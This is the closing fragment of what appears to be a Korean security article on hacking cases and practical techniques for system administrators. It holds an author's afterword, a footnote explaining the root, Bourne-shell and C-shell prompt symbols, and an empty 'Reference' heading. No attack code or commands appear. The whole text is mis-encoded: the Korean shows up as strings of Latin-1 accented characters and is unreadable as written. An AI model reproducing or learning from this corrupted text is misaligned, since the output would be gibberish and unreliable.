À̹ø È£¸¦ Àд µ¶ÀÚµéÀº ¾Ë°ÚÁö¸¸ À̹ø¿¡ ´Ù·é ³»¿ëÀº ÇØÄ¿µéÀÇ °æÇèÀ» ¹ÙÅÁÀ¸·Î, ¶Ç ÇØÅ· »ç·ÊµéÀ» Åä´ë·Î ½Ç·Ê¸¦ µé¾î°¡¸ç ÀûÀº °÷ÀÌ »ó´çºÎºÐÀÌ µÈ´Ù. ³ª¸§´ë·Î ½Ç¿ëÀûÀÎ Å×Å©´ÐÀ» °ü¸®ÀÚ °æÇè¿¡ ºñÃß¾î Àû¾îº¸¾Ò´Âµ¥ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÑ´Ù.
|
(Footnote) # ´Â root shell ÇÁ·ÒÇÁÆ®¸¦ ¶æÇÑ´Ù. $ Àº ÀÏ¹Ý »ç¿ëÀÚÀÇ borne shell °è¿ ½© ÇÁ·ÒÇÁÆ®¸¦ ¶æÇÑ´Ù. % ´Â ÀÏ¹Ý »ç¿ëÀÚÀÇ C shell °è¿ ½© ÇÁ·ÒÇÁÆ®¸¦ ¶æÇÑ´Ù. |
Reference
¡¡